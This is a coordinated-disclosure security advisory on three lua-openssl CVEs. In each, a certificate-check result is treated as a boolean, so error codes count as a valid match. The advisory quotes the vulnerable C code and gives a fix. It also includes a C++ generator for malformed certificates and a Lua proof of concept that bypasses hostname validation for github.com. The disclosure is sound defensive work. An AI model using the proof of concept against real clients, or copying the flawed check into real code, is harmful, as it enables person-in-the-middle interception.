Summary
Several security issues have been found in the way X509
certificate validation functions are exposed to LUA via the check_host
function and others. Clients using said functions in lua-openssl
are exposed to person-in-the-middle attacks.
Product
lua-openssl
Tested Version
All our tests were conducted on version 0.7.7-1
.
Details
The X509_check_host
function is part of a collection of functions used to match certain properties of certificates. They are used to check whether a certificate matches a given host name, email address, or IP address and are available since OpenSSL 1.0.2. In particular, the function X509_check_host
checks if the certificate Subject Alternative Name (SAN) or Subject CommonName (CN) matches the specified host name.
These functions return 1 for a successful match, 0
for a failed match, -1
for an internal error, or -2
if the input is malformed.
Issue 1: Return value of X509_check_host
is wrongly interpreted as a boolean (CVE-2020-9432)
As can be seen in the snippet, the return value of X509_check_host
is used in the context of a boolean, that is, its integer return value is converted to a boolean value of 0
or 1
. Converting integers to boolean values can be tricky since 0
and 1
map to false
and true
, but any other value, including negative integers, will map to true
.
This issue makes it possible for an attacker to supply an invalid certificate that will fail to decode, that is, it will return -1
, and the application will accept it as valid, regardless of the hostname.
static LUA_FUNCTION(openssl_x509_check_host)
{
X509 * cert = CHECK_OBJECT(1, X509, "openssl.x509");
if (lua_isstring(L, 2))
{
const char *hostname = lua_tostring(L, 2);
lua_pushboolean(L, X509_check_host(cert, hostname, strlen(hostname), 0, NULL));
}
else
{
lua_pushboolean(L, 0);
}
return 1;
}
Issue 2: Return value of X509_check_email
is wrongly interpreted as a boolean (CVE-2020-9433)
An identical problem can be found in the following snippet but now with the function X509_check_email
.
static LUA_FUNCTION(openssl_x509_check_email)
{
X509 * cert = CHECK_OBJECT(1, X509, "openssl.x509");
if (lua_isstring(L, 2))
{
const char *email = lua_tostring(L, 2);
lua_pushboolean(L, X509_check_email(cert, email, strlen(email), 0));
}
else
{
lua_pushboolean(L, 0);
}
return 1;
}
Issue 3: Return value of X509_check_ip_asc
is wrongly interpreted as a boolean (CVE-2020-9434)
An identical problem can be found in the following snippet but now with the function X509_check_ip_asc
.
static LUA_FUNCTION(openssl_x509_check_ip_asc)
{
X509 * cert = CHECK_OBJECT(1, X509, "openssl.x509");
if (lua_isstring(L, 2))
{
const char *ip_asc = lua_tostring(L, 2);
lua_pushboolean(L, X509_check_ip_asc(cert, ip_asc, 0));
}
else
{
lua_pushboolean(L, 0);
}
return 1;
}
Impact
These issues may lead to “person in the middle” attacks in which an attacker can supplant the identity of the endpoint to which the client is connecting.
Remediation
We recommend that the three affected functions are rewritten in a way such that they only return a true value (the hostname/email/ip of the certificate is valid) when each of the corresponding functions return 1
. In any other case the false value should be returned explicitly.
Patch can be found here https://github.com/zhaozg/lua-openssl/commit/a6dc186dd4b6b9e329a93cca3e7e3cfccfdf3cca
Coordinated Disclosure Timeline
This report is subject to our coordinated disclosure policy.
- 02/27/2020: Report sent to Vendor
- 02/27/2020: Vendor acknowledged report
- 02/27/2020: Vendor proposed fixes
- 02/27/2020: Fixes reviewed and verified
- 02/27/2020: Report published to public
Supporting Resources
The following C++ file will generate a specially crafted X509
certificate with an invalid hostname. It will dump the file to the current directory with the name invalid_cert.pem
.
// Compiling:
// export PKG_CONFIG_PATH="/usr/local/opt/openssl@1.1/lib/pkgconfig"
// clang++ create-invalid-certificate.cpp -o create-invalid-certificate -Wall $(pkg-config --libs --cflags openssl)
#include <cstdio>
#include <cassert>
#include <string>
#include <iostream>
#include <openssl/x509v3.h>
#include <openssl/pem.h>
#include <openssl/x509.h>
#include <random>
template <class T>
T get_random_int()
{
static std::random_device rd;
std::uniform_int_distribution<T> uniform_dist(std::numeric_limits<T>::min(), std::numeric_limits<T>::max());
return uniform_dist(rd);
}
int main(int argc, char **argv)
{
while (true)
{
// Create a new key.
EVP_PKEY *pkey = EVP_PKEY_new();
assert(pkey && "Could not create EVP_PKEY structure.");
// Generate the key.
RSA *rsa = RSA_new();
assert(rsa && "Could not create RSA structure.");
// Generate the key.
BIGNUM *exponent = BN_new();
BN_set_word(exponent, RSA_F4);
RSA_generate_key_ex(rsa, 2048, exponent, nullptr);
// Assign it.
EVP_PKEY_assign_RSA(pkey, rsa);
// Create the certificate.
X509 *x509 = X509_new();
assert(x509 && "Could not create X509 structure.");
// Fill some required fields.
ASN1_INTEGER_set(X509_get_serialNumber(x509), 0xcafecafe);
X509_gmtime_adj(X509_get_notBefore(x509), 0);
X509_gmtime_adj(X509_get_notAfter(x509), 0xdeadbeef);
// Set the public key for our certificate.
X509_set_pubkey(x509, pkey);
unsigned data = get_random_int<unsigned>();
// Populate the subject name.
X509_NAME *name = X509_get_subject_name(x509);
X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, (unsigned char *)"GH", -1, -1, 0);
X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, (unsigned char *)"GitHub Security Lab", -1, -1, 0);
X509_NAME_add_entry_by_txt(name, "CN",
data & 0x1f,
(unsigned char *)&data,
sizeof(data),
-1,
0);
// Now set the issuer name.
X509_set_issuer_name(x509, name);
// Sign the certificate.
assert(X509_sign(x509, pkey, EVP_sha1()) && "Could not sign certificate.");
if (X509_check_host(x509, "AAAAA", 0, 0, NULL) < 0)
{
printf("Found invalid certificate: 0x%.8x\n", data);
printf("Saving it to invalid_cert.pem\n");
FILE *x509_file = fopen("invalid_cert.pem", "wb");
assert(x509_file && "Could not open invalid_cert.pem");
PEM_write_X509(x509_file, x509);
fclose(x509_file);
break;
}
}
return 0;
}
Once you have generated the invalid certificate, use the following LUA proof of concept that tries to validate the certificate against github.com
.
local openssl = require('openssl')
function readAll(file)
local f = assert(io.open(file, "rb"))
local content = f:read("*all")
f:close()
return content
end
function test_x509()
local certasstring = readAll("invalid_cert.pem")
local x = openssl.x509.read(certasstring)
print(x:check_host("github.com"))
end
test_x509()
Credit
This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).
Contact
You can contact the GHSL team at securitylab@github.com
, please include the GHSL-YEAR-ID
in any communication regarding this issue.